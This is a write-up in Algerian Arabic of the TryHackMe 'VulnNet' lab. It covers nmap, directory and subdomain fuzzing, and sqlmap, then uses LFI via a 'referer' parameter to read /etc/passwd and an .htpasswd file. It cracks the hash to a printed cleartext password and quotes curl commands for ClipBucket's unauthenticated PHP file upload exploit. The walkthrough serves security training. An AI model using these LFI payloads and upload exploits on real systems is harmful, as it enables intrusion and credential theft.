المقدّمة

التحدي تاع اليوم من منصة TryHackMe اسمو VulnNet، والتصنيف تاعو Medium.
بالمقارنة مع التحديات اللي درناهم من قبل، هاد واحد فيه شوية خطوات زايدة ويحتاج تركيز أكثر، بصح ماشي حاجة مستحيلة.
فيه مزج ما بين جمع المعلومات، تحليل السورس كود، واستعمال بعض الثغرات باش توصل للهدف.

💻 المنصةTryHackMe
🔗 الرابطاضغط هنا
🖥️ نظام التشغيلLinux
🎯 الصعوبةمتوسطة 
🧠 TTPs (طرق وتقنيات)Local File Inclusion (LFI)
Arbitrary File Upload
Wildcard Injection
Thm Vulnnet Banner

إعداد بيئة العمل

Thm Vulnnet Hosts

في بداية التحدي، المنصة قالت لازم نزيدو IP تاع الماشين مع الدومين vulnnet.thm في الملف /etc/hosts.
هاد الخطوة عادي نشوفوها في التحديات ، وهي تعتبر best practice، خاصة كي يكون كاين احتمال تلقى subdomains، لأن وجود دومين رئيسي يسهل عليك عملية الفحص والاكتشاف.

كيف نديرها؟

  1. نفتح التيرمينال.
  2. نشغل أمر تعديل الملف /etc/hosts مثلاً:
sudo nano /etc/hosts

3. في السطر الجديد، نكتب:

10.10.X.X    vulnnet.thm

4. نحفظ ونخرج.

وش يدير هاد الملف؟
الملف /etc/hosts هو جدول محلي في جهازك يربط أسماء الدومينات بـ عناوين IP.
يعني كي تكتب vulnnet.thm في المتصفح أو تستعملو في الأدوات، النظام يروح مباشرة للـ IP اللي سجلتو، بلا ما يطلبه من الـ DNS.

Enumeration – جمع المعلومات

Nmap Scan – فحص الشبكة

بعد ما حضرنا بيئة العمل وربطنا الدومين vulnnet.thm بالـ IP تاع الماشين، أول خطوة دايمًا نبدأو بيها هي الفحص باستخدام Nmap.
الهدف من الفحص هو نعرفو وش الخدمات والمنافذ (ports) اللي راهي مفتوحة، باش نقدر نحدد نقطة الانطلاق في الاستغلال.

sudo nmap -A -T4 vulnnet.thm -oN vulnnet.nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-09 09:38 CET
Verbosity Increased to 1.
Completed Service scan at 09:38, 6.29s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against vulnnet.thm (10.10.203.40)
Initiating Traceroute at 09:38
Completed Traceroute at 09:38, 0.07s elapsed
Initiating Parallel DNS resolution of 1 host. at 09:38
Completed Parallel DNS resolution of 1 host. at 09:38, 0.05s elapsed
NSE: Script scanning 10.10.203.40.
Initiating NSE at 09:38
Completed NSE at 09:39, 3.13s elapsed
Initiating NSE at 09:39
Completed NSE at 09:39, 0.30s elapsed
Initiating NSE at 09:39
Completed NSE at 09:39, 0.00s elapsed
Nmap scan report for vulnnet.thm (10.10.203.40)
Host is up (0.072s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ea:c9:e8:67:76:0a:3f:97:09:a7:d7:a6:63:ad:c1:2c (RSA)
|   256 0f:c8:f6:d3:8e:4c:ea:67:47:68:84:dc:1c:2b:2e:34 (ECDSA)
|_  256 05:53:99:fc:98:10:b5:c3:68:00:6c:29:41:da:a5:c9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: VulnNet
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 8B7969B10EDA5D739468F4D3F2296496
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Uptime guess: 34.800 days (since Sat Jul  5 14:26:51 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5900/tcp)
HOP RTT      ADDRESS
1   69.80 ms 10.23.0.1
2   69.90 ms vulnnet.thm (10.10.203.40)

NSE: Script Post-scanning.
Initiating NSE at 09:39
Completed NSE at 09:39, 0.00s elapsed
Initiating NSE at 09:39
Completed NSE at 09:39, 0.00s elapsed
Initiating NSE at 09:39
Completed NSE at 09:39, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.98 seconds
           Raw packets sent: 1036 (46.370KB) | Rcvd: 1026 (41.782KB)

التحليل:

  • Port 22 (SSH): خدمة SSH مفتوحة، غالبًا هذي هنستعملها لاحقًا إذا لقينا بيانات دخول صحيحة. النسخة 7.6p1 على أوبونتو قديمة نسبيًا، بصح ما فيهاش ثغرات معروفة مباشرة للاستغلال.
  • Port 80 (HTTP): سيرفر Apache 2.4.29 مع صفحة ويب عنوانها VulnNet. هذا هو المدخل الرئيسي للفحص، وهنا غالبًا هنلقى الثغرات أو الملفات المخفية.

ملاحظة من تجربة : وجود دومين مخصص + خدمة HTTP عادة مؤشر قوي على احتمال وجود subdomains أو ملفات حساسة مخفية، خاصة إذا كان التحدي طلب إضافة الدومين للـ /etc/hosts في البداية.

Feroxbuster – استكشاف الملفات والمجلدات

Thm Vulnnet Website
feroxbuster -u http://vulnnet.thm -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt

شرح الخيارات:

  • -u : رابط الموقع اللي نفحصوه.
  • -w : قائمة الكلمات (wordlist) باش نجرب أسماء الملفات والمجلدات.
404      GET        9l       31w      273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        8l       42w     2623c http://vulnnet.thm/img/favicon-32x32.png
200      GET        2l       64w     3910c http://vulnnet.thm/js/index__7ed54732.js
200      GET       11l      366w    16797c http://vulnnet.thm/css/pure-min.css
200      GET     1338l     2312w    21658c http://vulnnet.thm/css/font-awesome.css
200      GET      235l      555w     4161c http://vulnnet.thm/css/index.css
200      GET      507l     1104w     9344c http://vulnnet.thm/css/login.css
200      GET      150l      959w    76772c http://vulnnet.thm/img/file-icons.png
200      GET        7l     1966w   155758c http://vulnnet.thm/css/bootstrap.min.css
301      GET        9l       28w      308c http://vulnnet.thm/css => http://vulnnet.thm/css/
200      GET      141l      462w     5829c http://vulnnet.thm/
301      GET        9l       28w      307c http://vulnnet.thm/js => http://vulnnet.thm/js/
200      GET        2l     1297w    89476c http://vulnnet.thm/js/jquery.min.js
200      GET        2l       54w     2038c http://vulnnet.thm/js/index__d8338055.js
200      GET       17l       68w     1156c http://vulnnet.thm/img/
301      GET        9l       28w      310c http://vulnnet.thm/fonts => http://vulnnet.thm/fonts/
200      GET      205l     1266w   102931c http://vulnnet.thm/fonts/fontawesome-webfont.woff
[>-------------------] - 47s    37806/2547668 39m     found:16      errors:41     
[>-------------------] - 47s    20217/1273818 434/s   http://vulnnet.thm/ 
[####################] - 0s   1273818/1273818 4082750/s http://vulnnet.thm/css/ => Directory listing (add --scan-dir-listings to scan)
[>-------------------] - 46s    17545/1273818 383/s   http://vulnnet.thm/img/ 
[####################] - 5s   1273818/1273818 280453/s http://vulnnet.thm/js/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s   1273818/1273818 3813826/s http://vulnnet.thm/fonts/ => Directory listing (add --scan-dir-listings to scan)    

النتيجة:
في هذا التحدي، الفحص ما جابش ملفات أو مجلدات مثيرة للاهتمام.
وهذا يخلينا نشك أن المحتوى المهم مخبأ في مكان آخر، أو ممكن يكون مربوط بـ subdomain.

SQL Injection Testing – اختبار حقن SQL

بعد ما تفقدنا الموقع، لقينا أن الصفحة الوحيدة اللي فيها فورم إدخال هي تسجيل الدخول (login/password).
جربنا نعمل SQL Injection عليها، لأن هذي من أول الحاجات اللي تتجرب في أي صفحة تسجيل دخول مشبوهة.

الخطوات:

  1. فتحنا الصفحة في المتصفح ومررنا الطلب عبر BurpSuite باش نقدر نتحكم فيه ونخزنه.
  2. حفظنا الـ HTTP request الخاص بمحاولة تسجيل الدخول.
  3. استعملنا الأداة sqlmap لنجرب إذا الحقول مصابة بحقن SQL:
Thm Vulnnet Login
Thm Vulnnet Sqli
sqlmap -r req.r --level 5 --risk 3  --tamper=space2comment --random-agent
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.9.6#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:47:25 /2025-08-09/

[09:47:25] [INFO] parsing HTTP request from 'req.r'
[09:47:25] [INFO] loading tamper module 'space2comment'
[09:47:25] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows NT 6.0) yi; AppleWebKit/345667.12221 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/453667.1221' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[09:47:25] [INFO] testing connection to the target URL
[09:47:26] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:47:26] [INFO] testing if the target URL content is stable
[09:47:26] [INFO] target URL content is stable
[09:47:26] [INFO] testing if GET parameter 'login' is dynamic
[09:47:26] [WARNING] GET parameter 'login' does not appear to be dynamic
[09:47:26] [WARNING] heuristic (basic) test shows that GET parameter 'login' might not be injectable
[09:47:26] [INFO] testing for SQL injection on GET parameter 'login'
[09:47:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:47:35] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[09:47:43] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'

النتيجة:
الأداة عطتنا بعض false positives وما كانش كاين أي استغلال مباشر أو معلومات مهمة.
في الحالة هذي، بدل ما نضيع وقت أكثر على نفس النقطة، رجعنا لخطة ثانية: البحث عن النطاقات الفرعية (Subdomains) اللي ممكن تفتح لنا باب جديد.

Subdomain Fuzzing – اكتشاف النطاقات الفرعية

بعد ما ما لقيناش نتيجة من حقن SQL، قررنا نفحص وجود subdomains للدومين vulnnet.thm.
هاد الخطوة من العادة نبدأها بفحص عادي، وبعدها نحاول نصفي النتائج حسب حجم الصفحة باش نتجنب الضجيج.

الخطوة 1 – فحص مبدئي:

wfuzz -c -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -u 'http://vulnnet.thm' -H 'Host: FUZZ.vulnnet.thm'

شرح الخيارات:

  • -c : تلوين النتائج باش تكون مقروءة أكثر.
  • -u : رابط الفحص مع كلمة FUZZ اللي يتبدل مكانها بالكلمات من الـ wordlist.
  • -w : ملف الكلمات المستعمل.
➜  1vulnnet wfuzz -c -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -u 'http://vulnnet.thm' -H 'Host: FUZZ.vulnnet.thm'             
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://vulnnet.thm/
Total requests: 114606

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                     
=====================================================================

000000001:   200        141 L    462 W      5829 Ch     "www"                                                                                       
000000007:   200        141 L    462 W      5829 Ch     "webdisk"                                                                                   
000000031:   200        141 L    462 W      5829 Ch     "mobile"                                                                                    
000000049:   200        141 L    462 W      5829 Ch     "server"                                                                                    
000000045:   200        141 L    462 W      5829 Ch     "www1"                                                                                      
000000046:   200        141 L    462 W      5829 Ch     "img"                                                                                       
000000047:   200        141 L    462 W      5829 Ch     "news"                       

في النتائج المبدئية، لاحظت أن أغلب الردود كان حجمها حوالي 462 بايت، وهذا غالبًا محتوى افتراضي أو صفحة فارغة.

wfuzz -c -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -u 'http://vulnnet.thm' -H 'Host: FUZZ.vulnnet.thm' --hw 462

الخطوة 2 – تصفية النتائج:
بما أن الحجم المتكرر هو 462، أعدت الفحص مع خيار --hw 462 لتجاهل هذي الصفحات:

➜  1vulnnet wfuzz -c -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -u 'http://vulnnet.thm' -H 'Host: FUZZ.vulnnet.thm' --hw 462
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://vulnnet.thm/
Total requests: 114606

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                     
=====================================================================

000000690:   400        12 L     53 W       424 Ch      "gc._msdcs"                                                                                 
000001238:   401        14 L     54 W       468 Ch      "broadcast"                                                                                 

النتيجة:
الفحص بعد التصفية كشف لنا عن نطاق فرعي مهم:

Thm Vulnnet Wfuzz

باش نقدر نتصل به، لازم نضيفه يدويًا لملف /etc/hosts مع نفس الـ IP تاع الماكينة:

10.10.203.40    vulnnet.thm broadcast.vulnnet.thm

هذا يخلي أي طلب على broadcast.vulnnet.thm يروح مباشرة للـ IP الخاص بالتحدي.

لكن كي نحاول ندخلو، يطلب HTTP Basic Authentication (اسم مستخدم وكلمة مرور).
بما أنه ما عندناش بيانات الدخول في هذي المرحلة، رجعنا للموقع الرئيسي باش نكمل التحقيق.

Thm Vulnnet Basichttp2

Source Code Review – تحليل أكواد JavaScript

بعد ما انسدّ علينا باب الـ HTTP Basic Auth في الـ subdomain اللي لقيناه، قررنا نرجع للموقع الرئيسي ونشوف إذا كان فيه أي حاجة مخبية في الكود.

الخطوة الأولى:
من خلال Developer Tools في المتصفح، عندك خيارين باش توصل للمعلومة:

  • View Page Source لعرض الكود الخام لصفحة الـ HTML.
  • أو Network Tab باش تراقب الملفات اللي تتلّوح وقت تحميل الصفحة.

لاحظنا أن الموقع يحمّل ملفين JavaScript.

Thm Vulnnet Exploration
Thm Vulnnet Basichttp Htpasswd
!function(e,t){for(var n in t)e[n]=t[n]}(window,function(e){var t={};function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)n.d(r,o,function(t){return e[t]}.bind(null,o));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="http://vulnnet.thm/index.php?referer=",n(n.s=0)}({0:function(e,t,n){e.exports=n("O14P")},O14P:function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}n.r(t),n.d(t,"default",(function(){return i}));let o=()=>({events:{},emit(e,...t){for(let n of this.events[e]||[])n(...t)},on(e,t){return(this.events[e]=this.events[e]||[]).push(t),()=>this.events[e]=this.events[e].filter(e=>e!==t)}});var i=function(){function e(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:o();r(this,e),this.emitter=t}var t;return(t=[{key:"onReloadPaymentInfo",value:function(e){return this.emitter.on("RELOAD_PAYMENT_INFO",e)}},{key:"reloadPaymentInfo",value:function(){this.emitter.emit("RELOAD_PAYMENT_INFO")}}])&&function(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}(e.prototype,t),e}();window.opbox.services.register({serviceName:"opbox-affiliate-program-service"},i)}}));
//# sourceMappingURL=index_d8338055.js.map
!function(a,e){for(var t in e)a[t]=e[t]}(window,function(a){var e={};function t(n){if(e[n])return e[n].exports;var s=e[n]={i:n,l:!1,exports:{}};return a[n].call(s.exports,s,s.exports,t),s.l=!0,s.exports}return t.m=a,t.c=e,t.d=function(a,e,n){t.o(a,e)||Object.defineProperty(a,e,{enumerable:!0,get:n})},t.r=function(a){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(a,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(a,"__esModule",{value:!0})},t.t=function(a,e){if(1&e&&(a=t(a)),8&e)return a;if(4&e&&"object"==typeof a&&a&&a.__esModule)return a;var n=Object.create(null);if(t.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:a}),2&e&&"string"!=typeof a)for(var s in a)t.d(n,s,function(e){return a[e]}.bind(null,s));return n},t.n=function(a){var e=a&&a.__esModule?function(){return a.default}:function(){return a};return t.d(e,"a",e),e},t.o=function(a,e){return Object.prototype.hasOwnProperty.call(a,e)},t.p="http://broadcast.vulnnet.thm",t(t.s=0)}({0:function(a,e,t){a.exports=t("WdQY")},WdQY:function(a,e,t){"use strict";function n(a,e,t){return e in a?Object.defineProperty(a,e,{value:t,enumerable:!0,configurable:!0,writable:!0}):a[e]=t,a}t.r(e);var s=t("kiQV");function l(a){var e=a.host,t=a.chatAlias,n=a.callbackAlias,s=a.lang;return fetch(function(a){var e=a.host,t=a.chatAlias,n=void 0===t?"":t,s=a.callbackAlias,l=void 0===s?"":s,i=a.lang,c=void 0===i?"en-US":i;return"".concat(void 0===e?"http://broadcast.vulnnet.thm":e).concat("/","?_alias=").concat(n,"&_callbackAlias=").concat(l,"&_lang=").concat(c)}({host:e,chatAlias:t,callbackAlias:n,lang:s})).then((function(a){return a.json()})).then((function(a){return{chatAgentsAvailable:a.agents>0,callbackAsapAgentsAvailable:a.callbackAsapAgentsAvailable>0,callbackScheduleAgentsAvailable:a.callbackScheduleAgentsAvailable>0}}))}t.d(e,"INTERVAL_TIME",(function(){return i})),t.d(e,"default",(function(){return r}));var i=5e3,c=function(){},r=function a(){var e=this;!function(a,e){if(!(a instanceof e))throw new TypeError("Cannot call a class as a function")}(this,a),n(this,"clearInterval",(function(){e.agentsAvailabilityCheckInterval&&(clearInterval(e.agentsAvailabilityCheckInterval),e.agentsAvailabilityCheckInterval=null)})),n(this,"checkAgentsAvailability",(function(){l({host:e.host,chatAlias:e.chatAlias,callbackAlias:e.callbackAlias,lang:e.lang}).then(e.updateAgentsStatus)})),n(this,"startAgentsAvailabilityChecker",(function(a){var t=a.host,n=a.chatAlias,s=a.callbackAlias,c=a.lang,r=void 0===c?"en-US":c;e.callbackAlias=s,e.chatAlias=n,e.host=t,e.lang=r,e.clearInterval(),l({host:t,chatAlias:n,callbackAlias:s,lang:r}).then(e.updateAgentsStatus),e.agentsAvailabilityCheckInterval=setInterval(e.checkAgentsAvailability,i)})),n(this,"registerFunctions",(function(a){var t=a.startGenesysSession,n=void 0===t?e.startGenesysSession:t,s=a.endGenesysSession,l=void 0===s?e.endGenesysSession:s;e.startGenesysSession=n,e.endGenesysSession=l})),n(this,"startChatSession",(function(){e.startGenesysSession(),e.chatInProgress=!0})),n(this,"updateMedaliaScenario",(function(a){e.medaliaScenario=a})),n(this,"updateAgentsStatus",(function(a){var t=a.chatAgentsAvailable,n=a.callbackAsapAgentsAvailable,s=a.callbackScheduleAgentsAvailable;e.chatAgentsAvailable=t,e.callbackAsapAgentsAvailable=n,e.callbackScheduleAgentsAvailable=s})),n(this,"quitChatSession",(function(){e.endGenesysSession(),e.chatInProgress=!1})),this.agentsAvailabilityCheckInterval=null,this.callbackAlias="",this.callbackAsapAgentsAvailable=!1,this.callbackScheduleAgentsAvailable=!1,this.chatAgentsAvailable=!1,this.chatAlias="",this.chatInProgress=!1,this.endGenesysSession=c,this.host="",this.lang="en-US",this.medaliaScenario="",this.startGenesysSession=c};window.opbox.services.register({serviceName:s.a},r)},kiQV:function(a){a.exports=JSON.parse('{"a":"opbox-customer-chat-service"}')}}));
//# sourceMappingURL=index_7ed54732.js.map

الخطوة الثانية – جعل الكود مقروء:
الملفات كانت minified (يعني مكتوبة في سطر واحد ومضغوطة)، فاستعملنا أداة beautifier على الإنترنت باش نرجعهم لكود منظم ومقروء.

Thm Vulnnet Jsbeautifier
! function(a, e) {
    for (var t in e) a[t] = e[t]
}(window, function(a) {
    var e = {};

    function t(n) {
        if (e[n]) return e[n].exports;
        var s = e[n] = {
            i: n,
            l: !1,
            exports: {}
        };
        return a[n].call(s.exports, s, s.exports, t), s.l = !0, s.exports
    }
    return t.m = a, t.c = e, t.d = function(a, e, n) {
        t.o(a, e) || Object.defineProperty(a, e, {
            enumerable: !0,
            get: n
        })
    }, t.r = function(a) {
        "undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(a, Symbol.toStringTag, {
            value: "Module"
        }), Object.defineProperty(a, "__esModule", {
            value: !0
        })
    }, t.t = function(a, e) {
        if (1 & e && (a = t(a)), 8 & e) return a;
        if (4 & e && "object" == typeof a && a && a.__esModule) return a;
        var n = Object.create(null);
        if (t.r(n), Object.defineProperty(n, "default", {
                enumerable: !0,
                value: a
            }), 2 & e && "string" != typeof a)
            for (var s in a) t.d(n, s, function(e) {
                return a[e]
            }.bind(null, s));
        return n
    }, t.n = function(a) {
        var e = a && a.__esModule ? function() {
            return a.default
        } : function() {
            return a
        };
        return t.d(e, "a", e), e
    }, t.o = function(a, e) {
        return Object.prototype.hasOwnProperty.call(a, e)
    }, t.p = "http://broadcast.vulnnet.thm", t(t.s = 0)
}({
    0: function(a, e, t) {
        a.exports = t("WdQY")
    },
    WdQY: function(a, e, t) {
        "use strict";

        function n(a, e, t) {
            return e in a ? Object.defineProperty(a, e, {
                value: t,
                enumerable: !0,
                configurable: !0,
                writable: !0
            }) : a[e] = t, a
        }
        t.r(e);
        var s = t("kiQV");

        function l(a) {
            var e = a.host,
                t = a.chatAlias,
                n = a.callbackAlias,
                s = a.lang;
            return fetch(function(a) {
                var e = a.host,
                    t = a.chatAlias,
                    n = void 0 === t ? "" : t,
                    s = a.callbackAlias,
                    l = void 0 === s ? "" : s,
                    i = a.lang,
                    c = void 0 === i ? "en-US" : i;
                return "".concat(void 0 === e ? "http://broadcast.vulnnet.thm" : e).concat("/", "?_alias=").concat(n, "&_callbackAlias=").concat(l, "&_lang=").concat(c)
            }({
                host: e,
                chatAlias: t,
                callbackAlias: n,
                lang: s
            })).then((function(a) {
                return a.json()
            })).then((function(a) {
                return {
                    chatAgentsAvailable: a.agents > 0,
                    callbackAsapAgentsAvailable: a.callbackAsapAgentsAvailable > 0,
                    callbackScheduleAgentsAvailable: a.callbackScheduleAgentsAvailable > 0
                }
            }))
        }
        t.d(e, "INTERVAL_TIME", (function() {
            return i
        })), t.d(e, "default", (function() {
            return r
        }));
        var i = 5e3,
            c = function() {},
            r = function a() {
                var e = this;
                ! function(a, e) {
                    if (!(a instanceof e)) throw new TypeError("Cannot call a class as a function")
                }(this, a), n(this, "clearInterval", (function() {
                    e.agentsAvailabilityCheckInterval && (clearInterval(e.agentsAvailabilityCheckInterval), e.agentsAvailabilityCheckInterval = null)
                })), n(this, "checkAgentsAvailability", (function() {
                    l({
                        host: e.host,
                        chatAlias: e.chatAlias,
                        callbackAlias: e.callbackAlias,
                        lang: e.lang
                    }).then(e.updateAgentsStatus)
                })), n(this, "startAgentsAvailabilityChecker", (function(a) {
                    var t = a.host,
                        n = a.chatAlias,
                        s = a.callbackAlias,
                        c = a.lang,
                        r = void 0 === c ? "en-US" : c;
                    e.callbackAlias = s, e.chatAlias = n, e.host = t, e.lang = r, e.clearInterval(), l({
                        host: t,
                        chatAlias: n,
                        callbackAlias: s,
                        lang: r
                    }).then(e.updateAgentsStatus), e.agentsAvailabilityCheckInterval = setInterval(e.checkAgentsAvailability, i)
                })), n(this, "registerFunctions", (function(a) {
                    var t = a.startGenesysSession,
                        n = void 0 === t ? e.startGenesysSession : t,
                        s = a.endGenesysSession,
                        l = void 0 === s ? e.endGenesysSession : s;
                    e.startGenesysSession = n, e.endGenesysSession = l
                })), n(this, "startChatSession", (function() {
                    e.startGenesysSession(), e.chatInProgress = !0
                })), n(this, "updateMedaliaScenario", (function(a) {
                    e.medaliaScenario = a
                })), n(this, "updateAgentsStatus", (function(a) {
                    var t = a.chatAgentsAvailable,
                        n = a.callbackAsapAgentsAvailable,
                        s = a.callbackScheduleAgentsAvailable;
                    e.chatAgentsAvailable = t, e.callbackAsapAgentsAvailable = n, e.callbackScheduleAgentsAvailable = s
                })), n(this, "quitChatSession", (function() {
                    e.endGenesysSession(), e.chatInProgress = !1
                })), this.agentsAvailabilityCheckInterval = null, this.callbackAlias = "", this.callbackAsapAgentsAvailable = !1, this.callbackScheduleAgentsAvailable = !1, this.chatAgentsAvailable = !1, this.chatAlias = "", this.chatInProgress = !1, this.endGenesysSession = c, this.host = "", this.lang = "en-US", this.medaliaScenario = "", this.startGenesysSession = c
            };
        window.opbox.services.register({
            serviceName: s.a
        }, r)
    },
    kiQV: function(a) {
        a.exports = JSON.parse('{"a":"opbox-customer-chat-service"}')
    }
}));
//# sourceMappingURL=index_7ed54732.js.map
Thm Vulnnet Jsdiscovery

لخطوة الثالثة – الاكتشافات:
من خلال قراءة الكود:

  • تأكدنا من اسم الـ subdomain: broadcast (اللي كنا لقيناه بالفحص).
  • لقينا مدخل جديد مثير للاهتمام:
Thm Vulnnet Indexdiscovery
  • هذي الباراميتر ممكن تكون مدخل لاستغلالات مثل LFI (Local File Inclusion)، لكن في هذي المرحلة اكتفينا بتدوين الملاحظة باش نرجع لها لاحقًا.

ملاحظة : ملفات JavaScript في كثير من الأحيان تخلي معلومات عن مسارات أو نطاقات فرعية أو باراميترات خاصة، لذلك مراجعتها خطوة مهمة حتى لو ما بان فيها شيء خطير من أول نظرة.

Foothold – الحصول على نقطة دخول

LFI Discovery – اكتشاف ثغرة Local File Inclusion

استعملنا Burp Suite Repeater باش نجرب الباراميتر referer اللي شفناه من قبل في ملف الـ JavaScript.
بدأنا نجرب Payloads معروفة مثل: ?referer=/etc/passwd

Thm Vulnnet Burp Lfi

النتيجة:

  • لاحظنا أن حجم الرد (Response Size) تغيّر.
  • في الكود المصدري (Source Code) ظهرت لنا محتويات ملف /etc/passwd.

هنا تأكدنا رسميًا بلي عندنا LFI – Local File Inclusion.

باختصار:
LFI هي ثغرة تخليك تقرأ أو حتى تنفذ ملفات موجودة على السيرفر، عن طريق تمرير مسار الملف في باراميتر ما فيهش تحقق جيد من المدخلات.

من LFI إلى بيانات دخول

تذكّرنا أن عندنا subdomain محمي بكلمة مرور عبر HTTP Basic Auth، وكنا وقتها ما قدرناش ندخلو.
ببحث سريع في Google على مكان تخزين بيانات الدخول في Apache، /etc/apache2/.htpasswd لقينا أن الملف غالبًا يكون في:

استعملنا نفس تقنية الـ LFI لجلب الملف: ?referer=/etc/apache2/.htpasswd

حصلنا على اسم المستخدم وكلمة المرور، لكن كلمة المرور كانت مشفرة (Hash).

developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0

John : كسر كلمة المرور

باستعمال أداة مثل John the Ripper، قدرنا نكسر الهاش ونحصل على كلمة المرور بنص واضح (Cleartext).
هكذا أصبح عندنا بيانات الدخول الكاملة لولوج الـ subdomain.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
No password hashes left to crack (see FAQ)
john hash.txt --show                                     
developers:9972761drmfsls

استكشاف النطاق الفرعي – Exploring the Subdomain

بعد ما فكّينا كلمة المرور، قدرنا نسجّل الدخول بنجاح للـ subdomain المحمي.
النطاق الفرعي هذا كان يحتوي على منصة ClipBucket، وهي سكربت إدارة فيديوهات يشبه يوتيوب لكن خاص بالسيرفرات الذاتية.

بما أن ClipBucket معروف ببعض الثغرات القديمة، أول خطوة قمنا بها كانت تحديد الإصدار.

Thm Vulnnet Clipbucket
Thm Vulnnet Clipbucket Version

من خلال قراءة كود الـ HTML، اكتشفنا أن الإصدار المستخدم قديم نوعًا ما، وهذا يعطينا فكرة أننا ممكن نلاقي ثغرات معروفة (Exploits) جاهزة.

قمنا ببحث سريع في Exploit-DB ووجدنا ثغرة Arbitrary File Upload، تسمح برفع ملفات PHP خبيثة بدون فلترة صحيحة.
هذي بالضبط الفرصة اللي كنا ننتظرها للحصول على Foothold على السيرفر.

searchsploit clipbucket 4.0
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
ClipBucket < 4.0.0 - Release 4902 - Command Injection / File Upload / SQL Injection                                        | php/webapps/44250.txt
ClipBucket < 4.0.0 - Release 4902 - Command Injection / File Upload / SQL Injection                                        | php/webapps/44250.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
2. Unauthenticated Arbitrary File Upload
Below is the cURL request to upload arbitrary files to the webserver with no
authentication required.

$ curl -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php"
"http://$HOST/actions/beats_uploader.php"

$ curl -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php"
"http://$HOST/actions/photo_uploader.php"

